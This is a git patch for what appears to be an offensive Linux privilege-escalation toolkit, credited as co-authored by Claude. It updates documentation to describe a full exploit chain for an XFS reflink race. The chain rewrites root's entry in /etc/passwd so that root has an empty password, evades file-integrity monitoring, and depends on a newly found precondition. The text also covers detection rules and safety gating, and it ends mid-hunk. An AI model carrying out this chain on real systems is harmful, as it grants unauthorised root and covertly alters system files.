From 5c18b678a52ebc0271e21afc5256c134f4c3eae3 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 18:45:32 -0400 Subject: [PATCH] =?UTF-8?q?refluxfs:=20wire=20the=20--full-chain=20/etc/pa?= =?UTF-8?q?sswd=20root=20pop=20(=F0=9F=9F=A1=20trigger=20->=20=F0=9F=9F=A2?= =?UTF-8?q?=20full=20chain)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Promotes refluxfs (CVE-2026-64600) to a ๐ŸŸข full-chain module. VM-verified end-to-end on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, unprivileged uid=1000, SELinux Enforcing: skeletonkey --exploit refluxfs --i-know --full-chain reflink-clones /etc/passwd, races the CoW window (32 writers / 8 helpers), strips root's password field on-disk (root:x: -> root::, the public PoC's technique), evicts the stale page cache, verifies via O_DIRECT and returns EXPLOIT_OK. `su root` (empty password) then gives uid 0. 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30s). Safety properties (this bug rewrites the block device permanently, unlike the page-cache ๐ŸŸข modules): - Crafts the payload FIRST and refuses unless it can preserve both root and the invoking user's line; every other passwd line is kept byte-for-byte. A tail-truncating port drops sshd/nobody/the caller and bricks login (hit exactly this during development). - Backs /etc/passwd up before the race; restores on failure; cleanup() restores it (run as root after the pop). - Destructive path gated behind --full-chain. Plain --exploit / --auto run only the safe own-files trigger (EXPLOIT_FAIL), unchanged. Exploitability constraint discovered during verification (NOT in the Qualys writeup): the race only fires when the target's extent is PRIVATE going in. The block starts at refcount 2 (target + attacker clone), the concurrent CoW drops it to 1, and the stale writer reads "1 -> private". A file already reflink-shared with a third file keeps a post-CoW refcount > 1 and is NOT attackable via that target. Stock Rocky 9 ships /etc/passwd pre-shared and was unattackable across ~41,000 rounds; rewriting it to a private extent (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. Also fixed a page-cache staleness bug in the win path: the overwrite bypasses the target inode, so its clean cached pages are never invalidated and a buffered read (getpwnam in `su`, or the module's own verify) would see the OLD passwd. The module now issues POSIX_FADV_DONTNEED on a win and verifies via O_DIRECT. detect() --active gains a per-target extent-privacy check: it reports whether /etc/passwd is private (attackable) or already-shared (not). 88-test unit harness still green (148 total). Docs updated: MODULE.md (full-chain flow, private-extent precondition, verification tables), NOTICE.md, CVES.md (๐ŸŸข + tier/ops tables), README (15 full-chain / 13 primitive; lands-root list), RELEASE_NOTES, targets.yaml. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- CVES.md | 4 +- README.md | 18 +- docs/RELEASE_NOTES.md | 22 +- modules/refluxfs_cve_2026_64600/MODULE.md | 100 +++- modules/refluxfs_cve_2026_64600/NOTICE.md | 29 +- .../skeletonkey_modules.c | 547 +++++++++++++++++- skeletonkey.c | 2 +- tools/verify-vm/targets.yaml | 2 +- 8 files changed, 661 insertions(+), 63 deletions(-) diff --git a/CVES.md b/CVES.md index 5bff010..d180841 100644 --- a/CVES.md +++ b/CVES.md @@ -102,7 +102,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-46243 | CIFSwitch โ€” `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | ๐ŸŸก | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive โ€” `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately โ€” and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | | CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables โ†’ chain UAF โ†’ kernel R/W โ†’ root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | ๐ŸŸก | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced โ†’ UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` โ€” the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | | CVE-2026-43499 | GhostLock โ€” rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** โ†’ kernel-**stack** UAF โ†’ near-arbitrary write โ†’ root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | ๐ŸŸก | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling โ†’ controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak โ†’ forged waiter โ†’ `struct file` `f_op` โ†’ configfs/ashmem R/W โ†’ pipe physical R/W โ†’ cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) โ€” plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe โ€” validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm โ€” **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** โ€” a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. | -| CVE-2026-64600 | RefluXFS โ€” XFS reflink CoW `ILOCK`-cycling TOCTOU race | LPE (unprivileged, **no userns, no offsets** โ†’ overwrite the on-disk contents of any readable file โ†’ `/etc/passwd` โ†’ root) | fixed 7.1.4 / 6.18.39 / 6.12.96 (CNA backports of `2f4acd0fcd86`, mainline 7.2-rc4, merged 2026-07-16); 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 affected with no upstream stable fix | `refluxfs` | ๐ŸŸก | **Qualys TRU disclosure (2026-07-22) with a video PoC on RHEL 10.2; reconstructed trigger, VM-VERIFIED 2026-07-23 on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (stock XFS+reflink layout, qemu/KVM) โ€” the corpus's first rpm-family verification. detect() returned VULNERABLE, the `--active` FICLONE witness confirmed reflink, and phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent. The underlying bug was separately confirmed winnable on that kernel (4/4 runs, first divergence after 69-494 rounds in 60 s) via a VM-only harness at the public PoC's parameters, `tools/verify-vm/refluxfs_verify.c`; the shipped under-driven trigger did NOT win in its 2 s budget on that same vulnerable kernel โ€” intended behaviour, and precisely why a non-win must never be read as "patched".** `xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, drops `ILOCK` in `xfs_reflink_fill_cow_hole()` to wait for transaction log space, then re-checks the refcount btree at the **original** `imap->br_startblock` and never re-reads the data fork. A second `O_DIRECT` writer (holding only `IOLOCK`) completes a full CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place โ€” landing its data on the reflink **source** file's blocks. The corpus's first XFS module and its first **data-oriented** kernel bug: the primitive is an arbitrary *file-content* overwrite, so there are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux enforcing / containers / seccomp are all irrelevant. Crucially the victim's **inode is never written** โ€” `mtime`/`ctime`/size are unchanged and nothing is logged โ€” so **FIM and `-w /etc/passwd -p wa` do not fire**; the change persists across reboots. Reachable by any unprivileged user with a writable dir on an XFS volume mounted `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) โ€” i.e. **default RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server โ‰ฅ 31, Amazon Linux 2023**; Debian/Ubuntu/SUSE/Arch default to ext4/btrfs and are PRECOND_FAIL; RHEL 7 (3.10) never affected. Introduced 4.11 (`3c68d44a2b49`) โ€” a nine-year window. CWE-362 โ†’ CWE-367; NVD published no CWE/CVSS at time of writing; not in KEV. detect() version-gates **and** probes for a writable XFS mount via `statfs()` `XFS_SUPER_MAGIC` (not via FICLONE โ€” btrfs implements that too), confirming `reflink=1` under `--active`; override with `SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. It warns explicitly that on rpm-family hosts the upstream-version verdict **cannot see a vendor backport** (a patched el8 kernel still reports `4.18.0-*`) โ€” check the RHSA/ELSA/ALSA/RLSA erratum. exploit() forks a child that works only in a private `mkdtemp` scratch dir on **two files it owns**: it establishes a shared extent (FICLONE, corroborated by `FIEMAP_EXTENT_SHARED`) plus an `O_DIRECT` gate, then races a hard-bounded 8 writers / 2 `ftruncate`+`fdatasync` helpers / 16 rounds / 2 s and stops, reading the donor back with `O_DIRECT` (a buffered read would be served from the page cache the corruption bypasses). **Deliberately under-driven** (PoC uses 32 writers / 8 helpers) and it **never clones or targets a file it does not own** โ€” the `/etc/passwd` overwrite โ†’ `su` โ†’ root step persistently rewrites a system file with no undo and is documented but NOT bundled. Returns `EXPLOIT_FAIL`. Safety rank **55** โ€” far above `bad_epoll`/`ghostlock` because a won race corrupts 4 KiB of our own scratch file and **cannot touch kernel memory** (no oops/KASAN/panic path). Ships the corpus's most useful **yara** rule: since FIM is blind here, it matches the on-disk artifact (a `passwd` with a password-less root entry or an added uid-0 account); auditd/sigma anchor on `ioctl` request `0x40049409` (FICLONE) and `openat` `O_DIRECT`. Arch-neutral (any). Mitigate: none possible โ€” patch + reboot. Credit: Qualys TRU (Saeed Abbasi; advisory credits model-assisted analysis with Anthropic). | +| CVE-2026-64600 | RefluXFS โ€” XFS reflink CoW `ILOCK`-cycling TOCTOU race | LPE (unprivileged, **no userns, no offsets** โ†’ overwrite the on-disk contents of any readable file โ†’ `/etc/passwd` โ†’ root) | fixed 7.1.4 / 6.18.39 / 6.12.96 (CNA backports of `2f4acd0fcd86`, mainline 7.2-rc4, merged 2026-07-16); 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 affected with no upstream stable fix | `refluxfs` | ๐ŸŸข | **Qualys TRU disclosure (2026-07-22) with a video PoC on RHEL 10.2; VM-VERIFIED END-TO-END 2026-07-23 on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1 (stock XFS+reflink layout, qemu/KVM) โ€” the corpus's first rpm-family verification. `--exploit refluxfs --i-know --full-chain` reflink-clones /etc/passwd, races the CoW window, strips root's password on-disk, evicts the stale page cache and returns EXPLOIT_OK; `su root` (empty password) then gives uid 0 โ€” 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restorable via `--cleanup`. KEY CONSTRAINT found in testing (not in the writeup): the target's extent must be PRIVATE going in โ€” an already-reflink-shared file (some fresh cloud images ship /etc/passwd that way) keeps a post-CoW refcount > 1 and is NOT attackable; normal admin churn (useradd/passwd/vipw) produces the exploitable private-extent state. detect() --active reports which state the target is in. Without --full-chain the module runs a safe own-files trigger only (EXPLOIT_FAIL), deliberately under-driven so a non-win is never read as "patched".** `xfs_direct_write_iomap_begin()` reads the data-fork extent map under `ILOCK`, drops `ILOCK` in `xfs_reflink_fill_cow_hole()` to wait for transaction log space, then re-checks the refcount btree at the **original** `imap->br_startblock` and never re-reads the data fork. A second `O_DIRECT` writer (holding only `IOLOCK`) completes a full CoW cycle in that window, so the first writer's stale mapping sees refcount 1, treats a still-shared block as private, and writes to it in place โ€” landing its data on the reflink **source** file's blocks. The corpus's first XFS module and its first **data-oriented** kernel bug: the primitive is an arbitrary *file-content* overwrite, so there are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux enforcing / containers / seccomp are all irrelevant. Crucially the victim's **inode is never written** โ€” `mtime`/`ctime`/size are unchanged and nothing is logged โ€” so **FIM and `-w /etc/passwd -p wa` do not fire**; the change persists across reboots. Reachable by any unprivileged user with a writable dir on an XFS volume mounted `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) โ€” i.e. **default RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server โ‰ฅ 31, Amazon Linux 2023**; Debian/Ubuntu/SUSE/Arch default to ext4/btrfs and are PRECOND_FAIL; RHEL 7 (3.10) never affected. Introduced 4.11 (`3c68d44a2b49`) โ€” a nine-year window. CWE-362 โ†’ CWE-367; NVD published no CWE/CVSS at time of writing; not in KEV. detect() version-gates **and** probes for a writable XFS mount via `statfs()` `XFS_SUPER_MAGIC` (not via FICLONE โ€” btrfs implements that too), confirming `reflink=1` under `--active`; override with `SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. It warns explicitly that on rpm-family hosts the upstream-version verdict **cannot see a vendor backport** (a patched el8 kernel still reports `4.18.0-*`) โ€” check the RHSA/ELSA/ALSA/RLSA erratum. exploit() forks a child that works only in a private `mkdtemp` scratch dir on **two files it owns**: it establishes a shared extent (FICLONE, corroborated by `FIEMAP_EXTENT_SHARED`) plus an `O_DIRECT` gate, then races a hard-bounded 8 writers / 2 `ftruncate`+`fdatasync` helpers / 16 rounds / 2 s and stops, reading the donor back with `O_DIRECT` (a buffered read would be served from the page cache the corruption bypasses). **Deliberately under-driven** (PoC uses 32 writers / 8 helpers) and it **never clones or targets a file it does not own**. The `--full-chain` path is the real root pop: 32 writers / 8 helpers against a clone of `/etc/passwd`, backing the file up first, preserving every other line, evicting the page cache on a win, verifying via `O_DIRECT`, and restoring on failure โ€” returns `EXPLOIT_OK`. Safety rank **55** โ€” a won race corrupts file data, not kernel memory (no oops/KASAN/panic path), so it never downs the box; the destructive overwrite is gated behind `--full-chain` (plain `--auto` runs only the safe trigger). Ships the corpus's most useful **yara** rule: since FIM is blind here, it matches the on-disk artifact (a `passwd` with a password-less root entry or an added uid-0 account); auditd/sigma anchor on `ioctl` request `0x40049409` (FICLONE) and `openat` `O_DIRECT`. Arch-neutral (any). Mitigate: none possible โ€” patch + reboot. Credit: Qualys TRU (Saeed Abbasi; advisory credits model-assisted analysis with Anthropic). | | CVE-2026-46242 | Bad Epoll โ€” epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** โ†’ cross-cache to `struct file` โ†’ kernel R/W โ†’ root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | ๐ŸŸก | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` โ†’ 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** โ€” no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe โ€” you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s โ€” **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) โ€” snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) โ€” rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. | ## Operations supported per module @@ -144,7 +144,7 @@ Symbols: โœ“ = supported, โ€” = not applicable / no automated path. | pack2theroot | โœ“ (PK version via D-Bus) | โœ“ (ported) | โ€” (upgrade PackageKit โ‰ฅ 1.3.5) | โœ“ (rm /tmp + `dpkg -r`) | โœ“ (auditd + sigma) | | ptrace_pidfd | โœ“ | โœ“ (primitive) | โœ“ (yama ptrace_scope=2) | โœ“ (restore ptrace_scope) | โœ“ (auditd + sigma + falco) | | sudo_host | โœ“ | โœ“ | โ€” (upgrade sudo to 1.9.17p1) | โ€” | โœ“ (auditd + sigma + falco) | -| refluxfs | โœ“ (+ `--active` FICLONE witness) | โœ“ (trigger, own files only) | โ€” (no runtime mitigation exists โ€” patch + reboot) | โœ“ (sweep leftover scratch dirs) | โœ“ (auditd + sigma + yara + falco) | +| refluxfs | โœ“ (+ `--active` FICLONE + extent-privacy check) | โœ“ (safe trigger; `--full-chain` = /etc/passwd root pop) | โ€” (no runtime mitigation exists โ€” patch + reboot) | โœ“ (restore /etc/passwd from backup + sweep scratch) | โœ“ (auditd + sigma + yara + falco) | ## Pipeline for additions diff --git a/README.md b/README.md index af9e730..f2a4fdf 100644 --- a/README.md +++ b/README.md @@ -54,14 +54,15 @@ VM sweep, not by missing code. | Tier | Count | What it means | |---|---|---| -| ๐ŸŸข Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. | -| ๐ŸŸก Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets โ€” see [`docs/OFFSETS.md`](docs/OFFSETS.md)). | +| ๐ŸŸข Full chain | **15** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. | +| ๐ŸŸก Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets โ€” see [`docs/OFFSETS.md`](docs/OFFSETS.md)). | **๐ŸŸข Modules that land root on a vulnerable host:** copy_fail family ร—5 ยท dirty_pipe ยท dirty_cow ยท pwnkit ยท overlayfs (CVE-2021-3493) ยท overlayfs_setuid (CVE-2023-0386) ยท cgroup_release_agent ยท ptrace_traceme ยท sudoedit_editor ยท entrybleed -(KASLR leak primitive) +(KASLR leak primitive) ยท refluxfs (CVE-2026-64600, `--full-chain`: +`/etc/passwd` root pop on a private-extent XFS target) **๐ŸŸก Modules with opt-in `--full-chain`:** af_packet ยท af_packet2 ยท af_unix_gc ยท cls_route4 ยท fuse_legacy ยท @@ -228,9 +229,14 @@ victim's inode is never written, its `mtime`/`ctime`/size never change and **file-integrity monitoring cannot see it**. Unprivileged, no userns, no crafted image โ€” reachable wherever an XFS volume is mounted `reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10, -Fedora Server โ‰ฅ 31 and Amazon Linux 2023. Shipped as a reconstructed -trigger confined to files the operator owns, with the `/etc/passwd` -overwrite โ†’ `su` โ†’ root step documented but **not** bundled), +Fedora Server โ‰ฅ 31 and Amazon Linux 2023. **๐ŸŸข VM-verified full chain**: +`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`, +races the CoW window, strips root's password on-disk and returns +`EXPLOIT_OK` (`su root`, empty password โ†’ uid 0) โ€” confirmed on Rocky 9.8, +every other account preserved, backed up + restorable. One caveat found +in testing: the target's extent must be **private** going in (an +already-shared file isn't attackable; normal `useradd`/`passwd` churn +makes it private). Plain `--exploit` runs only a safe own-files trigger), `ghostlock` (CVE-2026-43499, VEGA / Nebula Security's "GhostLock" โ€” a ~15-year rtmutex/futex requeue-PI use-after-free on **kernel stack** memory where `remove_waiter()` clears diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index b3da5c9..6ef2e87 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -43,7 +43,27 @@ merged **2026-07-16** for **7.2-rc4**; stable backports **7.1.4** / **6.18.39** upstream stable fix in the CNA record at time of writing. CWE-362 โ†’ CWE-367; NVD published neither a CWE nor a CVSS vector at time of writing; not in CISA KEV. -๐ŸŸก **Trigger (reconstructed) โ€” deliberately under-driven, and VM-VERIFIED.** +๐ŸŸข **Full chain (`--full-chain`), ๐ŸŸก safe trigger by default โ€” VM-verified +end-to-end.** `--exploit refluxfs --i-know --full-chain` reflink-clones +`/etc/passwd`, races the CoW window, strips root's password field on-disk +(`root:x:` โ†’ `root::`, the public PoC's technique), evicts the stale page cache, +and returns `EXPLOIT_OK`; `su root` with an empty password then yields uid 0. +Confirmed on Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1` โ€” **3/3 wins** on a +private-extent target (1244 / 3716 / 7913 rounds, 4โ€“30 s) as unprivileged +`uid=1000` under **SELinux Enforcing**, with every other passwd line preserved, +the file backed up first and restored on failure (`--cleanup` restores after the +pop). A naive port that truncates the tail would drop `sshd`/the caller and brick +login; preserving every line is the implementation's key safety property. + +**Exploitability constraint discovered during verification (not in the Qualys +writeup):** the race only fires when the target's extent is **private** going in. +An already-reflink-shared file keeps a post-CoW refcount > 1 and is not +attackable via that target โ€” some fresh cloud images ship `/etc/passwd` +pre-shared (Rocky 9's did, and the attack failed against it across ~41 000 +rounds), while normal admin churn (`useradd`/`passwd`/`vipw`) rewrites it into +the exploitable private-extent state. `detect() --active` now reports which state +the target is in. Without `--full-chain` the module runs a safe own-files +reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven. Unlike the corpus's other race modules, `detect()` is **not** a pure version gate: this bug's reachability is safely observable, so it pairs the three-branch version table with a **real diff --git a/modules/refluxfs_cve_2026_64600/MODULE.md b/modules/refluxfs_cve_2026_64600/MODULE.md index e0e1e15..7b25d4a 100644 --- a/modules/refluxfs_cve_2026_64600/MODULE.md +++ b/modules/refluxfs_cve_2026_64600/MODULE.md @@ -11,6 +11,14 @@ This is the corpus's first XFS module, and its first **data-oriented** kernel bug: the primitive is an arbitrary *file content* overwrite, not memory corruption. +> **๐ŸŸข Full chain (`--full-chain`), VM-verified end-to-end.** +> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it +> reflink-clones `/etc/passwd`, races the CoW window, strips root's password +> field on disk (`root:x:` โ†’ `root::`), evicts the stale page cache, and +> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without** +> `--full-chain` the module runs a safe reachability trigger only, confined to +> files the caller owns. See "Full-chain verification" below. + ## The bug `xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork @@ -89,8 +97,73 @@ precondition probe**: (force unreachable), for when you know the fleet's storage layout better than a local probe can. This also drives the unit tests. -`exploit()` forks an isolated child that creates a private `mkdtemp` scratch -directory on the XFS mount and works **only on two files it owns**: +### `--full-chain` โ€” the real `/etc/passwd` root pop + +With `--full-chain`, `exploit()` performs the actual privilege escalation: + +1. **Pre-flight, before touching anything.** Confirms the target + (`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in + one block, and **crafts the payload first** โ€” the original file with root's + password field emptied (`root:x:` โ†’ `root::`), **every other line preserved + byte-for-byte**, padded with newlines to the exact original size. If it + cannot produce a payload that keeps both root and the invoking user's line, + it refuses and touches nothing. (A naive port that truncates the tail drops + `sshd`/`nobody`/the caller and bricks login โ€” this is the single most + important safety property of the implementation.) +2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it. +3. **Race.** 32 writers push the crafted block at a reflink-clone of the target + while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won + race lands the crafted block on the target's still-shared physical block. +4. **Cache eviction.** The overwrite bypasses the target inode, so its clean + page-cache pages are never invalidated โ€” a `su` immediately after would read + the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only + an `O_RDONLY` fd) so subsequent buffered readers see the new bytes. +5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk + root line is now `root::`; if the write was torn, it restores from backup and + fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password). + +`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup. +The overwrite is persistent and survives reboot, so restoring matters. + +#### The private-extent precondition (not in the public writeup) + +The race only fires when the target's extent refcount is **exactly** the +attacker-clone pair โ€” i.e. the target's extent must be **private** going in. The +mechanism: the block starts at refcount 2 (target + attacker clone), the +concurrent CoW drops it to 1, and the stale writer then reads "1 โ†’ private". If +the target is *already* reflink-shared with a third file, the post-CoW refcount +stays > 1, the writer correctly does CoW, and nothing corrupts. + +This was found during verification: the stock Rocky 9 cloud image ships +`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and +the attack failed against it across ~41 000 rounds. Rewriting the file so its +extent became private โ€” with byte-identical content, exactly what any +`useradd`/`passwd`/`vipw` does โ€” made it fall in ~2 000 rounds. So the +exploitable state is the *normal* administered state; the cloud image was +accidentally protected by how it was built. `detect() --active` reports the +target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by +hand), and the full chain warns when the target is pre-shared. + +### `--full-chain` verification (2026-07-23, Rocky 9.8) + +On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux +**Enforcing**, against a private-extent `/etc/passwd`: + +| | | +|---|---| +| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 4โ€“30 s) | +| `su root` (empty password) afterwards | **`uid=0(root)`** | +| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact | +| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content โ€” FIM-invisible | +| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup | +| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched | +| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) โ€” as predicted | + +### The safe default trigger + +Without `--full-chain`, `exploit()` forks an isolated child that creates a +private `mkdtemp` scratch directory on the XFS mount and works **only on two +files it owns**: - **(A) deterministic + safe** โ€” writes a donor file, `FICLONE`-clones it, and confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is @@ -105,16 +178,15 @@ directory on the XFS mount and works **only on two files it owns**: the donor back **with `O_DIRECT`** โ€” a buffered read would be served from the page cache that the corruption bypasses, and would hide a win. -It is **deliberately under-driven** (the public PoC uses 32 writers and 8 -helpers and grinds far longer) and, more importantly, it **never clones or -targets a file it does not own**. The step that makes this root โ€” reflink-cloning -a root-owned file such as `/etc/passwd` and racing writes onto *its* shared -blocks โ€” persistently rewrites a system file on disk **with no undo**, so it is -documented here and **not bundled**. `exploit()` always returns `EXPLOIT_FAIL`. +This default path is **deliberately under-driven** (the public PoC and the +`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets +a file it does not own** โ€” the destructive `/etc/passwd` overwrite lives only +behind `--full-chain` (above). The default `exploit()` always returns +`EXPLOIT_FAIL`. -If the race *is* won, the module says so loudly: that is CVE-2026-64600 -confirmed present, empirically, with the damage contained to 4 KiB of the -operator's own scratch file. +If the race *is* won on the safe path, the module says so loudly: that is +CVE-2026-64600 confirmed present, empirically, with the damage contained to +4 KiB of the operator's own scratch file. ## VM verification (2026-07-23) @@ 